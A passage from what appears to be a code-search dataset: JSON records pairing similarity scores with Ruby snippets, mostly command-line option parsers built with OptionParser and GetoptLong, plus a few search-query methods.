"text": "def parse_option(obj, opt, argv, args)\n x = opt[2..-1] # remove '--'\n if obj.respond_to?(\"#{x}=\")\n m.call(argv.shift)\n elsif obj.respond_to?(\"#{args.join('_')}_#{x}=\")\n m = obj.method(\"#{args.join('_')}_#{x}=\")\n #if m.arity >= 0\n # a = []\n # m.arity.times{ a << argv.shift }\n # m.call(*a)\n #else\n # m.call\n #end\n m.call(argv.shift)\n elsif obj.respond_to?(\"#{x}?\")\n m = obj.method(\"#{x}?\")\n if m.arity >= 0\n a = []\n m.arity.times{ a << argv.shift }\n m.call(*a)\n else\n m.call\n end\n elsif obj.respond_to?(\"#{args.join('_')}_#{x}?\")\n m = obj.method(\"#{args.join('_')}_#{x}?\")\n if m.arity >= 0\n a = []\n m.arity.times{ a << argv.shift }\n m.call(*a)\n else\n m.call\n end\n else\n obj.option_missing(x, argv)\n end\n #if obj.respond_to?(\"#{x}=\")\n # obj.send(\"#{x}=\",true)\n #else\n # obj.option_missing(x, argv)\n #end\n end",
"title": ""
},
{
"docid": "18b16e972c1bd84aa1ac18f5c5b8f433",
"score": "0.64349365",
"text": "def parse!(args)\n do_parse(args)\n rescue OptionParser::InvalidOption => ex\n @exception_handler.call(\"Unknown option #{ex.args.join(' ')}\",@extra_error_context)\n rescue OptionParser::InvalidArgument => ex\n @exception_handler.call(\"#{ex.reason}: #{ex.args.join(' ')}\",@extra_error_context)\n end",
"title": ""
},
{
"docid": "730f55338d0813688a384e64a0da6786",
"score": "0.6432156",
"text": "def parse\n @help_arg_passed = false\n @op.banner = \"#{cli_description ? \"#{cli_description}\\n\" : ''}Usage: ruby #{@main_path} [options]\"\n\n @options ||= Struct.new(*@methods).new\n\n set_defaults\n @op.parse!\n\n validate_options\n\n options\n end",
"title": ""
},
{
"docid": "e33fc39adcd09102dcbca8b01e6ac8d2",
"score": "0.64196074",
"text": "def option_parser\n OptionParser.new do |parser|\n parser.banner = 'Usage: vps [options] <type> <command> [arguments]'\n parser.program_name = 'vps'\n parser.version = VPS::VERSION\n parser.on('-a', '--[no-]alfred', 'Generate output in Alfred format') do |alfred|\n @output_formatter = if alfred\n OutputFormatter::Alfred\n else\n OutputFormatter::Console\n end\n end\n parser.on('-f', '--focus [AREA]', 'Force the focus to the specified area temporarily') do |area|\n @state.change_focus(area, @configuration)\n end\n parser.on('-v', '--version', 'Show the version number and exit') do\n puts VPS::VERSION\n exit\n end\n parser.separator ''\n parser.separator 'To get information on all available plugins: vps help'\n end\n end",
"title": ""
},
{
"docid": "46f69e98ddcd4f1ce1407c1ce88988e9",
"score": "0.64193976",
"text": "def parse\n @parse_options_method.call @parser\n end",
"title": ""
},
{
"docid": "7e5e02dff46dd34b3b41d2b878ce2d73",
"score": "0.6414489",
"text": "def handle_options\n OptionParser.new do |opts|\n opts.on('-p', '--port PORT') {|p| options.port = p.to_i }\n opts.on('--install') { options.install = true }\n opts.on('--web') { } # ignore\n end.parse!\n end",
"title": ""
},
{
"docid": "39614d861ad88be46a09028b5e7188da",
"score": "0.64139766",
"text": "def parse_options\n cliconfig = config[:cliconfig]\n GetoptLong.new(\n [ '--adapter', '-a', GetoptLong::REQUIRED_ARGUMENT ],\n [ '--bind', '-b', GetoptLong::REQUIRED_ARGUMENT ],\n [ '--config', '-c', GetoptLong::REQUIRED_ARGUMENT ],\n [ '--directory', '-d', GetoptLong::REQUIRED_ARGUMENT ],\n [ '--debug', '-D', GetoptLong::NO_ARGUMENT],\n [ '--fork', '-f', GetoptLong::REQUIRED_ARGUMENT ],\n [ '--handler', '-h', GetoptLong::REQUIRED_ARGUMENT ],\n [ '--killtime', '-k', GetoptLong::REQUIRED_ARGUMENT ],\n [ '--logfile', '-l', GetoptLong::REQUIRED_ARGUMENT ],\n [ '--number', '-n', GetoptLong::REQUIRED_ARGUMENT ],\n [ '--port', '-p', GetoptLong::REQUIRED_ARGUMENT ],\n [ '--pidfile', '-P', GetoptLong::REQUIRED_ARGUMENT ],\n [ '--unsupervised', '-u', GetoptLong::NO_ARGUMENT]\n ).each do |opt, arg|\n case opt\n when '--adapter'\n cliconfig[:adapter] = arg\n when '--bind'\n cliconfig[:bind] = arg\n when '--config'\n config[:config] = cliconfig[:config] = arg\n when '--directory'\n config[:directory] = arg\n when '--debug'\n cliconfig[:debug] = true\n when '--fork'\n cliconfig[:fork] = arg.to_i\n when '--handler'\n cliconfig[:handler] = arg\n when '--killtime'\n cliconfig[:killtime] = arg.to_i\n when '--logfile'\n cliconfig[:logfile] = arg\n when '--number'\n cliconfig[:number] = arg.to_i\n when '--port'\n cliconfig[:port] = arg.to_i\n when '--pidfile'\n cliconfig[:pidfile] = arg\n when '--unsupervised'\n cliconfig[:unsupervised] = true\n end\n end\n \n config[:directory] = File.expand_path(config[:directory])\n Dir.chdir(config[:directory]) rescue (exit_with_error(\"Invalid directory: #{config[:directory]}\"))\n \n cliconfig[:config] = File.expand_path(check_file(cliconfig[:config])) if cliconfig[:config]\n config[:config] = File.expand_path(config[:config])\n reload_config\n \n unless config[:debug]\n [:logfile, :pidfile].each do |opt|\n cliconfig[opt] = File.expand_path(cliconfig[opt]) if cliconfig[opt]\n config[opt] = File.expand_path(config[opt])\n config[opt] = check_dir(config[opt])\n end\n end\n end",
"title": ""
},
{
"docid": "20069178b04f151ab2fe9e2be634ce2a",
"score": "0.6411659",
"text": "def parse_options\n\toptions=OpenStruct.new\n\toptions.unit_tests =false\n\toptions.use_test_data=false\n\toptions.print_tokens =false\n\toptions.print_all =false\n\toptions.auto =false\n\toptions.verbose =false\n\toptions.filenames =[]\n\n\twhile arg=ARGV.shift do\n\t\tif arg==\"--test-data\" then options.use_test_data=true\n\t\telsif arg==\"--print-all\" then options.print_all =true\n\t\telsif arg==\"--print-tokens\" then options.print_tokens =true\n\t\telsif arg==\"-t\" then options.unit_tests =true\n\t\telsif arg==\"-a\" then options.auto =true\n\t\telsif arg==\"-v\" then options.verbose =true\n\t\telse filenames << arg\n\t\tend\n\tend\n\n\toptions.filenames+=list_automatic_files if options.auto\n\n\tif options.filenames.empty? && !options.use_test_data && !options.unit_tests\n\t\thelp_message\n\t\texit 1\n\tend\n\n\treturn options\nend",
"title": ""
},
{
"docid": "e6281ff9ca6c3474d55681c137baae70",
"score": "0.640389",
"text": "def parse_options!\n return unless options.empty?\n options_parser = OptionParser.new do |parser|\n executable_name = File.basename($PROGRAM_NAME)\n parser.banner = \"Usage: #{executable_name} [options]\"\n\n parser.on(\"-f\", \"--file FILE\", \"file to read and process\") do |file|\n options[:file] = file\n end\n parser.on(\"-o\", \"--output OUTPUT\", \"specify output format\",\n /\\A(#{Recorder::Views.formats.join(\"|\")})\\z/, Integer) do |output|\n options[:output] = output\n end\n end\n begin\n options_parser.parse!(argv)\n file = options[:file]\n output = options[:output]\n fail ArgumentError, \"File missing\" if file.nil?\n fail ArgumentError, \"Output format missing\" if output.nil?\n fail ArgumentError, \"File not readable #{file.inspect}\" unless File.readable?(file)\n rescue ArgumentError, OptionParser::ParseError => e\n warn e.message\n log options_parser.help\n exit(1)\n end\n end",
"title": ""
},
{
"docid": "00dd9bb42faebd5e8f3e01fce5e373f3",
"score": "0.63996243",
"text": "def parse_opts\n options_hash = {}\n\n optparse = OptionParser.new do|parser|\n options_hash = {\n testrun_id: nil,\n junit_file: nil,\n }\n\n parser.on( '-t', '--testrun-id TESTRUN_ID', 'The testrun id' ) do |testrun_id|\n options_hash[:testrun_id] = testrun_id\n end\n\n parser.on( '-j', '--junit-folder JUNIT_FILE', 'Beaker junit file' ) do |junit_file|\n options_hash[:junit_file] = junit_file\n end\n\n parser.on( '-h', '--help', 'Display this screen' ) do\n puts parser\n exit\n end\n\n parser.parse!\n\n if not options_hash[:testrun_id] or not options_hash[:junit_file]\n puts \"Error: Missing option(s)\"\n puts parser\n exit\n end\n end\n\n options_hash\nend",
"title": ""
},
{
"docid": "f631c39ea27ac20ca1e5a844999e851c",
"score": "0.6396112",
"text": "def load_options(line_options); end",
"title": ""
},
{
"docid": "381dcddbff1e63154d45b5d4ba83b211",
"score": "0.63956904",
"text": "def parser_options(opts=nil)\n @parser_options = opts if opts\n @parser_options.merge :col_sep => @delimited_by \n end",
"title": ""
},
{
"docid": "cd01330d6759317a7412a0289f8775a6",
"score": "0.6394532",
"text": "def handle_options\n OptionParser.new do |opts|\n opts.banner = \"mangkeeper scenario {options}\"\n opts.separator \"\"\n opts.separator \"Options are ...\"\n\n opts.on_tail(\"-h\", \"--help\", \"-H\", \"Display this help message.\") do\n puts opts\n exit\n end\n\n standard_options.each { |args| opts.on(*args) }\n end.parse!\n end",
"title": ""
},
{
"docid": "32ec43180eb8364e8661ef7420072fa6",
"score": "0.63880825",
"text": "def option_parser(&block)\n @pipeline.option_parser_cb = block\n end",
"title": ""
},
{
"docid": "524d032f5ba732851c590c8c2c0a712d",
"score": "0.63725424",
"text": "def option_parser\n params = [\"-#{@short}\", \"--#{@long}\", nil, @options[:type]]\n\n if !@description.nil? and !@description.empty?\n params[2] = @description\n end\n\n # Set the correct format for the long/short option based on the type.\n if ![TrueClass, FalseClass].include?(@options[:type])\n params[1] += \" #{@options[:key]}\"\n end\n\n return params\n end",
"title": ""
},
{
"docid": "017b669a14d078ae2f6a2913e4ffd6e5",
"score": "0.6372462",
"text": "def parser # rubocop:disable MethodLength\n @parser ||= OptionParser.new do |opt|\n opt.banner = \"Usage: #{File.basename($PROGRAM_NAME)} [options] start|stop|restart|run\"\n\n opt.on(\"-h\", \"--help\", \"Show this message\") do\n puts opt\n exit 1\n end\n opt.on(\"-c FILE\", \"--config FILE\", \"The location of a Restforce credentials file.\") do |file|\n @options[:config] = file\n end\n opt.on(\"-d N\", \"--delay N\", \"Amount of time by which to delay synchronization queries.\") do |n|\n @options[:delay] = n.to_f\n end\n opt.on(\"-i N\", \"--interval N\", \"Amount of time to wait between synchronizations.\") do |n|\n @options[:interval] = n.to_i\n end\n opt.on(\"-l FILE\", \"--logfile FILE\", \"The file where logging output should be captured.\") do |file|\n @options[:logfile] = file\n end\n opt.on(\"--pid-dir DIR\", \"The directory in which to store the pidfile.\") do |dir|\n @options[:pid_dir] = dir\n end\n opt.on(\"-t FILE\", \"--tracker FILE\", \"The file where run characteristics should be logged.\") do |file|\n @options[:tracker] = file\n end\n opt.on(\"-v\", \"--verbose\", \"Turn on noisy logging.\") do\n @options[:verbose] = true\n end\n end\n end",
"title": ""
},
{
"docid": "453a532994eb9587614c8cf03f599621",
"score": "0.63684607",
"text": "def optparse(*args,&block)\n opts = OptionParser.new\n block.call(opts) if block\n\n begin\n opts.parse!(args)\n rescue OptionParser::InvalidOption => e\n STDERR.puts e.message\n STDERR.puts opts\n exit -1\n end\n end",
"title": ""
},
{
"docid": "0d37145123c537429c34c9f80c45ddcf",
"score": "0.63680226",
"text": "def initialize\n @opt = {\n :lang => \"Plain Text\",\n :nick => \"\",\n :desc => \"\",\n :tabs => \"No\",\n :help => false}\n @parser = OptionParser.new do |cli|\n cli.banner += \" [file ...]\"\n cli.on('-l','--lang=L', 'select language') { |s|\n l = s.downcase\n opt[:lang] =\n if Aliases.include?(l) then\n Aliases[l]\n else\n Languages.find(proc{ raise OptionParser::InvalidArgument,l }) { |x| x.downcase == l}\n end\n }\n cli.on('-n', '--nick=NAME', 'use NAME as nickname') { |s| opt[:nick] = s}\n cli.on('-d', '--desc=TEXT', 'use TEXT as description') { |s| opt[:desc] << s }\n cli.on( '--tabs=N', Integer, 'expand tabs to N blanks (N >= 0)') {|n|\n raise OptionParser::InvalidArgument, n unless n>=0\n opt[:tabs] = n\n }\n cli.on('-h', '--help', 'show this information and quit') { opt[:help] = true }\n cli.separator \"\"\n cli.separator \"Languages (case insensitive):\"\n cli.separator \" \"+(Languages+Aliases.keys).map{|x|x.downcase}.sort.join(\",\")\n end\n end",
"title": ""
},
{
"docid": "66412ccbfff4037089e4764d2bac25c0",
"score": "0.6364621",
"text": "def parse_options()\n require 'optparse'\n\n options = {}\n OptionParser.new do |opt|\n opt.on('--territoryDir ./directory') { |o| options[:territoryDir] = o }\n opt.on('--atcsmonDir ./directory') { |o| options[:atcsmonDir] = o }\n end.parse!\n\n options\nend",
"title": ""
},
{
"docid": "ecd8b6c1d86a57ab817eb7800d89c271",
"score": "0.63637924",
"text": "def process_arguments\n options = {}\n options[:adapter] = DEFAULT_DB_ADAPTER\n\n opt_parser = OptionParser.new do |opt|\n opt.banner = \"Usage: #{PROG} [options]\"\n opt.separator \"Options:\"\n\n opt.on(\"-o\", \"--output filename\", \"file to write XML output to\") do |x|\n options[:output] = x\n end\n\n opt.on(\"-e\", \"--export\", \"export records\") do\n options[:export] = true\n end\n\n opt.on(\"-i\", \"--import filename\", \"import records (repeatable)\") do |x|\n if options[:import].nil?\n options[:import] = []\n end\n options[:import] << x\n end\n\n opt.on(\"-f\", \"--force\", \"force import of records with same UUID\") do\n options[:force] = true\n end\n\n opt.on(\"-s\", \"--oaipmh_default status\", \"status if not indicated\") do |x|\n if ! ['unpublished', 'active', 'deleted' ].include?(x)\n $stderr.puts \"Usage error: unexpected OAI-PMH default status: #{x}\"\n $stderr.puts \" expecting: unpublished, active or deleted\"\n exit 2\n end\n options[:oaipmh_default_status] = x\n end\n opt.on(\"-S\", \"--oaipmh_force status\", \"status even if indicated\") do |x|\n if ! ['unpublished', 'active', 'deleted' ].include?(x)\n $stderr.puts \"Usage error: unexpected OAI-PMH force status: #{x}\"\n $stderr.puts \" expecting: unpublished, active or deleted\"\n exit 2\n end\n options[:oaipmh_force_status] = x\n end\n\n opt.on(\"-D\", \"--delete\", \"delete all records\") do\n options[:delete] = true\n end\n\n opt.on(\"-t\", \"--touch\",\n \"update timestamp on active OAI-PMH entries\") do\n options[:touch] = true\n end\n\n opt.on(\"-a\", \"--adapter name\",\n \"database adapter (default=\\\"#{DEFAULT_DB_ADAPTER}\\\")\") do |x|\n options[:adapter] = x\n end\n\n opt.on(\"-v\", \"--verbose\", \"print extra information\") do\n options[:verbose] = true\n end\n\n opt.on(\"-h\", \"--help\", \"show help\") do\n puts opt_parser\n exit 0\n end\n end\n\n opt_parser.parse!\n\n if ! ARGV.size.zero?\n $stderr.puts \"Usage error: extra arguments supplied (--help for help)\"\n exit 2\n end\n\n if ! (options[:export] || options[:delete] ||\n options[:import] || options[:touch])\n puts \"#{PROG}: no action specified (--help for help)\"\n exit 2\n end\n\n if options[:force] && ! options[:import]\n $stderr.puts \"Usage error: --force only works with --import\"\n exit 2\n end\n\n if options[:output] && ! options[:export]\n $stderr.puts \"Usage error: --output only works with --export\"\n exit 2\n end\n\n return options\nend",
"title": ""
},
{
"docid": "76e3b0394297fce550f474d8cd887a37",
"score": "0.63624394",
"text": "def parse_options\n @options = {}\n @optparse = OptionParser.new do |opts|\n opts.banner = 'Usage: validate-upload [options] directory'\n\n # Define the options, and what they do\n @options[:delete] = false\n opts.on( '-d', '--delete', 'remove files that have been successfully copied to the object store' ) do\n @options[:delete] = true\n end\n\n @options[:verbose] = false\n opts.on( '-v', '--verbose', 'Output more information' ) do\n @options[:verbose] = true\n end\n\n opts.on( '-?', '--help', 'Display this screen' ) do\n puts opts\n exit\n end\n end\n\n @optparse.parse!\nend",
"title": ""
},
{
"docid": "162e668e1b20ece35a3c8f324d24adaf",
"score": "0.6362307",
"text": "def parse_options argv\n options = {}\n mandatory = []\n\n def set_option options, name\n ->(options, name, value) { options[name] = value }.curry.(options, name)\n end\n\n OptionParser.new do |o|\n options[:input] = nil\n o.on '-i', '--input [PATH]',\n 'Specifies the path to be searched for files containing position reports.',\n set_option(options, :input)\n\n options[:recurse] = false\n o.on '-r', '--recurse',\n 'Enables recursive searching.' do\n options[:recurse] = true\n end\n\n options[:output] = nil\n o.on '-o', '--output [PATH]',\n 'Specifies the file or directory (when using --split) to write to. Default is STDOUT.',\n set_option(options, :output)\n\n options[:split] = false\n o.on '-s', '--split',\n 'Creates one GPX document per station. If --output is specified, it is interpreted as a directory, and one file is created per station, named [PREFIX][STATION].gpx.' do |value|\n options[:split] = value\n end\n\n options[:prefix] = 'PR_'\n o.on '-p', '--prefix [PREFIX]',\n 'Specifies the prefix to be used when using --split, default is \\'PR_\\'.',\n set_option(options, :output)\n\n options[:callsign] = nil\n o.on '-c', '--callsign [CALLSIGN[,CALLSIGN]]', Array,\n 'Processes only the stations with the given callsigns.',\n set_option(options, :callsign)\n\n options[:last] = nil\n o.on '-l', '--last [n]', Integer,\n 'Limits the result to the last N entries for each station.',\n set_option(options, :last)\n\n options[:help] = false\n o.on '-h', '--help',\n 'Displays this screen.' do\n options[:help] = true\n end\n \n options[:create_trk] = options[:create_wpt] = true\n o.on '-f', '--format FORMAT[,FORMAT]', Array,\n 'Selects one or more output formats. Supported values are \\'TRK\\', \\'WPT\\'.' do |values|\n values.each do |value|\n options[:create_trk] = options[:create_wpt] = false\n case(value)\n when 'TRK' then options[:create_trk] = true\n when 'WPT' then options[:create_wpt] = true\n else raise OptionParser::InvalidOption.new value\n end\n end\n end\n \n $verbose = false\n o.on '-v', '--verbose',\n 'Turns on verbose mode.' do |value|\n $verbose = value\n end\n\n begin\n o.parse! argv\n\n if not options[:help]\n missing = mandatory.select { |param| options[param].nil? }\n if not missing.empty?\n puts \"Missing options: #{missing.join(', ')}\"\n puts\n options[:help] = true\n end\n end\n rescue OptionParser::InvalidOption, OptionParser::MissingArgument\n puts $!.to_s\n puts\n options[:help] = true\n end\n\n if options[:help]\n puts o\n return nil\n end\n end\n\n options\nend",
"title": ""
},
{
"docid": "4627c5fd34ee2107ca6fb1c9d1bb8e47",
"score": "0.63608694",
"text": "def parse_options!(argv)\n @opts.order!(argv)\n if (!argv.empty?) then\n # Try to treat unknown option as a UID.\n set_uid(argv.shift)\n # Continue parsing\n @opts.order!(argv)\n end\n show_help_exit unless (@uid)\n end",
"title": ""
},
{
"docid": "f7cef2636b8e8a49081e9b93b2a721d6",
"score": "0.6349621",
"text": "def parse_options\n @options = {}\n @optparse = OptionParser.new do |opts|\n opts.banner = \"Usage: moa-stat <object(s)-path>\\n\\n Count files, total size\\n\\n\"\n opts.on( '-?', '--help', 'Display usage' ) do\n puts opts\n exit 0\n end\n end\n @optparse.parse!\nend",
"title": ""
},
{
"docid": "4af15f1f3fd2a8a94f5d34adde41bb73",
"score": "0.63456726",
"text": "def optparse\n options = {}\n OptionParser.new do |opts|\n opts.on('-h') { puts opts; exit }\n\n opts.on('-dDIRECTORY', '--directory DIRECTORY', 'Local directory to dump/find .json files (default: .)') do |d|\n if File.directory?(d)\n options[:dir] = d\n else\n raise ArgumentError, \"-d #{d} is not a valid directory\"\n end\n end\n opts.on(:REQUIRED, '-lLISTNAME', '--list LISTNAME', 'Root listname to download stats archive from (required; board or trademarks or...)') do |l|\n options[:list] = l.chomp('@')\n end\n\n opts.on('-cCOOKIE', '--cookie COOKIE', 'For private lists REQUIRED, your ponymail logged-in cookie value') do |c|\n options[:cookie] = c\n end\n opts.on('-sSUBDOMAIN', '--subdomain SUBDOMAIN', 'Root @ subdomain .apache.org (only if project list; hadoop or community or...) to download stats archive from') do |s|\n options[:subdomain] = s.chomp('@.')\n end\n\n opts.on('-p', '--pull', 'Pull down stats JSON files into -d dir (otherwise, default analyzes existing stats JSON in dir)') do\n options[:pull] = true\n end\n opts.on('-m', '--mbox', 'Pull down mbox files into -d dir') do\n options[:mbox] = true\n end\n\n opts.on('-yYEAR', '--year YEAR', 'Only pull down single year, instead of 2010 thru now') do |y|\n options[:year] = [ y ]\n end\n\n begin\n opts.parse!\n options[:dir] = '.' if options[:dir].nil?\n options[:year] = YEARS_DEFAULT if options[:year].nil?\n raise ArgumentError, 'You must supply an -l LISTNAME to operate on' if options[:list].nil?\n rescue StandardError => e\n $stderr.puts \"#{e.message}; try -h for valid options, or see code\"\n exit 1\n end\n end\n\n return options\nend",
"title": ""
},
{
"docid": "06326ec1a7d749c8f762a778f0a7906d",
"score": "0.6339792",
"text": "def parse_options\n OptionParser.new do |opt|\n opt.banner = \"Usage: dnslookup <domain name> [options]\"\n\n opt.on(\"-m\", \"--mx\", \"Return MX records\") do |v|\n @type = 'mx'\n end\n\n opt.on(\"-a\", \"--aname\", \"Return A name records\") do |v|\n @type = 'a'\n end\n\n opt.on(\"-c\", \"--cname\", \"Return C name records\") do |v|\n @type = 'c'\n end\n\n opt.on(\"-t\", \"--txt\", \"Return TXT records\") do |v|\n @type = 'txt'\n end\n\n opt.on(\"-s\", \"--server=SERVER\", \"Specify specific name server to query\") do |v|\n @single_server = v\n end\n\n opt.on(\"-h\", \"--help\", \"Prints this help\") do\n puts opt\n exit\n end\n end.parse!\n end",
"title": ""
},
{
"docid": "dfbf7ddff88b5ca51440ddd23d3dfd37",
"score": "0.6332808",
"text": "def parsed_options?\n\n # Specify options\n option_parser = OptionParser.new { |opts|\n\n opts.banner = \"Usage: #$0 [options]\"\n\n explanation = <<-EOE\n\nA POSTFIX daemon that filters email for URLs and sends the URLs off to\nRabbitMQ queue to be later processed.\n\n\nExamples:\n ./postfix_url_daemon.rb --port 8081 --workers 10 --sendmail \\\\\\\\\n --amqp_host drone.honeyclient.org \\\\\\\\\n --amqp_port 5672 --amqp_vhost /collector.testing --amqp_user guest \\\\\\\\\n --amqp_password guest --exchange events \\\\\\\\\n --amqp_routing_key 1.job.create.job.urls.job_alerts \\\\\\\\\n --no-amqp_logging --timeout 100 --use nokogiri \\\\\\\\\n --daemonize --no-sendmail\n\n ./postfix_url_daemon.rb -h\n\n ./postfix_url_daemon.rb --no-daemonize\n EOE\n\n opts.separator(explanation)\n opts.separator('')\n opts.separator('Common options:')\n\n opts.on('-v', '--version', 'Display version number and exit.') {output_version ; exit 0 }\n\n opts.on('-V', '--[no-]verbose', \"Run verbosely. Default is '#{$options.verbose}'.\") { |boolean|\n $options.verbose = boolean\n }\n\n opts.on('-h', '--help', 'Display this help and exit.') do\n puts opts\n exit\n end\n\n opts.separator('')\n opts.separator('Daemon options:')\n\n opts.on('-P', '--port PORT', String, \"Set port to PORT. Default is '#{$options.port}'.\") { |port|\n $options.port = port\n }\n\n opts.on('-W', '--workers INTEGER', Integer, \"Set number of workers to INTEGER. Default is '#{$options.workers}'.\") { |workers|\n $options.workers = workers\n }\n\n opts.separator('')\n opts.separator('AMQP server options:')\n\n opts.on('--amqp_host HOST', String, 'Set amqp_host to HOST.') { |amqp_host|\n $options.amqp_host = amqp_host\n }\n\n opts.on('--amqp_port PORT', Integer, 'Set amqp_port to PORT.') { |amqp_port|\n $options.amqp_port = amqp_port\n }\n\n opts.on('-u', '--amqp_user USER', String, 'Set user login to USER.') { |user|\n $options.amqp_user = user\n }\n\n opts.on('-p', '--amqp_password PASSWORD', String, 'Set password to PASSWORD.') {|password|\n $options.amqp_password = password\n }\n\n opts.on('-e', '--amqp_exchange EXCHANGE', String, 'Set exchange to EXCHANGE.') {|exchange|\n $options.amqp_exchange = exchange\n }\n\n opts.on('-v', '--amqp_vhost VHOST', String, 'Set virtual host to VHOST.') {|vhost|\n $options.amqp_vhost = vhost\n }\n\n opts.on('-k', '--amqp_routing_key ROUTING_KEY', String, 'Set routing key to ROUTING_KEY.') {|routing_key|\n $options.amqp_routing_key = routing_key\n }\n\n opts.separator('')\n opts.separator('Actions:');\n\n opts.on('--[no-]sendmail', \"Send message onto SendMail. Default is '#{$options.sendmail}'.\") { |boolean|\n $options.sendmail = boolean\n }\n\n opts.on('--[no-]amqp_logging', \"Enable AMQP server interaction logging. Default is '#{$options.amqp_logging}'.\") { |boolean|\n $options.amqp_logging = boolean\n }\n\n opts.on('--use [PARSER]', [:uri, :hpricot, :nokogiri], \"Select PARSER for HTML/XML (uri, hpricot, nokogiri). Default is '#{$options.use}'.\") { |parser|\n $options.use = parser\n }\n\n opts.on('--[no-]ignore_attachments', \"Don\\'t parse attachments. Default is '#{$options.ignore_attachments}'.\") { |boolean|\n $options.ignore_attachments = boolean\n }\n\n opts.on('-t', '--timeout SECONDS', Integer, \"Set a SECONDS timeout for how long the filter should run parsing for URLs. Default is '#{$options.timeout}'.\") { |timeout|\n $options.timeout = timeout\n }\n\n opts.on('-c', '--count_period SECONDS', Integer, \"Set period of seconds to hold the count of URLs sent to the AMQP server to SECONDS. Default is '#{$options.count_period}'.\") { |count_period|\n $options.count_period = count_period\n }\n\n opts.on('-m', '--max_count MAX_COUNT', Integer, \"Set count of URLS sent to the AMQP server to MAX_COUNT. Default is '#{$options.max_count}'.\") { |max_count|\n $opts.max_count = max_count\n }\n\n opts.on('--[no-]daemonize', \"Daemonize the service. Default is '#{$options.daemonize}'.\") { |boolean|\n $options.daemonize = boolean\n }\n }\n\n option_parser.parse!(@arguments) rescue return false\n\n post_process_options\n\n true\n end",
"title": ""
},
{
"docid": "c9e7637ea9ecc563399e98fafdbdb328",
"score": "0.6331532",
"text": "def parse(argv)\n @options.parse!(argv)\n rescue OptionParser::InvalidOption, OptionParser::MissingArgument\n STDERR.puts \"#{$!}\\n\\n\"\n STDERR.puts @options\n exit! 1\n end",
"title": ""
},
{
"docid": "5d7d21f5b90dc0406cf0f54e90778106",
"score": "0.63299066",
"text": "def parse_options args\n options = {}\n OptionParser.new(args) do |opts|\n opts.banner = 'Usage: rake db:import -- [options]'\n\n options[:range] = '1-9000'\n opts.on('-r', '--range {range}', 'Range of properties to import default: 1..9000.', String) do |range|\n options[:range] = range\n end\n\n options[:test] = false\n opts.on('-t', '--test', \"Make users with password 'password'\", String) do\n options[:test] = true\n end\n\n opts.on('-h', '--help', 'Display this screen') do\n puts opts\n exit\n end\n end.parse!\n options\n end",
"title": ""
},
{
"docid": "1a0a03a0a5a323a198014fa6e0329f8d",
"score": "0.63284534",
"text": "def option_parser\n @option_parser ||= OptionParser.new do |o|\n o.banner = 'Usage: appear [OPTION]... [PID]'\n o.separator 'Appear PID in your user interface.'\n o.separator 'Appear will use the current process PID by default.'\n o.separator ''\n o.separator 'Options:'\n\n o.on('-l', '--log-file [PATH]', 'log to a file') do |file|\n @config.log_file = file\n end\n\n o.on('-v', '--verbose', 'tell many tales about how the appear process is going') do |flag|\n @config.silent = false if flag\n end\n\n o.on('--record-runs', 'record every executed command as a JSON file in the appear spec folder') do |flag|\n @config.record_runs = flag\n end\n\n o.on('-e', '--edit [EDITOR]', \"instead of revealing a PID, edit a file the given editor. Editors: #{::Appear::Editor::ALL.map {|c| c.name}}\") do |flag|\n @config.edit_file = true\n @config.editor = flag\n end\n\n o.on('--version', 'show version information, then exit') do\n puts \"appear #{Appear::VERSION}\"\n puts \" author: Jake Teton-Landis\"\n puts \" repo: https://github.com/airbnb/appear\"\n exit 2\n end\n\n o.on('-?', '-h', '--help', 'show this help, then exit') do\n puts o\n exit 2\n end\n\n o.separator ''\n o.separator 'Exit status:'\n o.separator ' 0 if successfully revealed something,'\n o.separator ' 1 if an exception occurred,'\n o.separator ' 2 if there were no errors, but nothing was revealed.'\n end\n end",
"title": ""
},
{
"docid": "c87502146ba0bb08871c2da8062ddca1",
"score": "0.6313016",
"text": "def parse_opts\n @options = {\n :crit_days => 30,\n :warn_days => 60,\n :verbose => false,\n :domain => nil\n }\n\n OptionParser.new do |opts|\n opts.banner =<<-EOD.unindent!\n Usage: #{$0} -d DOMAIN -w WARNING -c CRITICAL\n EOD\n\n opts.on \"-c\",\"--crit CRIT_DAYS\",Integer do |c|\n @options[:crit_days] = c.to_i\n end\n\n opts.on \"-d\",\"--domain DOMAIN\" do |dom|\n @options[:domain] = dom\n end\n\n opts.on \"-w\",\"--warn WARN_DAYS\",Integer do |w|\n @options[:warn_days] = w.to_i\n end\n\n opts.on \"-v\",\"--verbose\" do\n @options[:verbose] = true\n end\n end.parse!\n\n end",
"title": ""
}
] |
ebc8e5a1e4543f4a43dad94ab55f5459 | Search the Metabox indexes. query:: the query to perform. See XXXX for query syntax params:: additional query parameters (see below) The _params_ hash can contain the following values: max: The maximum number of results to return (default is 10) offset: Offset into the query results (for paging; default is 0) sort: ordered list of fields to be used when applying sorting xsluri: URL of an XSLT transform to be applied to the results, transforming the default RSS 1.0 results format into an alternative representation contenttype: when applying an XSLT transform, the content type to use when returning the results Any additional entries in the _params_ hash will be passed through to the Platform. These parameters will only be used when an XSLT transformation is being applied, in which case they will be provided as parameters to the stylesheet. | [
{
"docid": "2071fcbd143dcb663777fdeeedaa5401",
"score": "0.6102985",
"text": "def search(query, params=nil)\n u = self.build_uri(\"/items\")\n search_params = get_search_params(u, query, params)\n response = @client.get(u, search_params)\n return response\n \n end",
"title": ""
}
] | [
{
"docid": "45af7eac2f36ae980caa9af1e35ff0f8",
"score": "0.72410774",
"text": "def search(query, params={})\n params = params.merge :Operation => :ItemSearch,\n :Keywords => query\n\n params[:SearchIndex] = configuration.default_search if params[:SearchIndex].nil?\n\n xml = call params\n Search.new xml['ItemSearchResponse']\n end",
"title": ""
},
{
"docid": "b3997ca46e016df26751f72ec3d17ff1",
"score": "0.7132972",
"text": "def search(query, opts = {})\n @transporter.read(:POST, path_encode('/1/indexes/%s/query', @name), { 'query': query.to_s }, opts)\n end",
"title": ""
},
{
"docid": "4013ab703082f15e4171129e576ffd6a",
"score": "0.6972974",
"text": "def search(params)\n builder = UnifiedSearchBuilder.new(params, @metaindex)\n es_response = index.raw_search(builder.payload)\n example_fetcher = FacetExampleFetcher.new(index, es_response, params)\n facet_examples = example_fetcher.fetch\n UnifiedSearchPresenter.new(\n es_response,\n params[:start],\n @index.index_name.split(\",\"),\n params[:filters],\n params[:facets],\n registries,\n registry_by_field,\n suggested_queries(params[:query]),\n facet_examples,\n index.mappings,\n ).present\n end",
"title": ""
},
{
"docid": "4deeec8841ca8351a08002fb401024cf",
"score": "0.67936957",
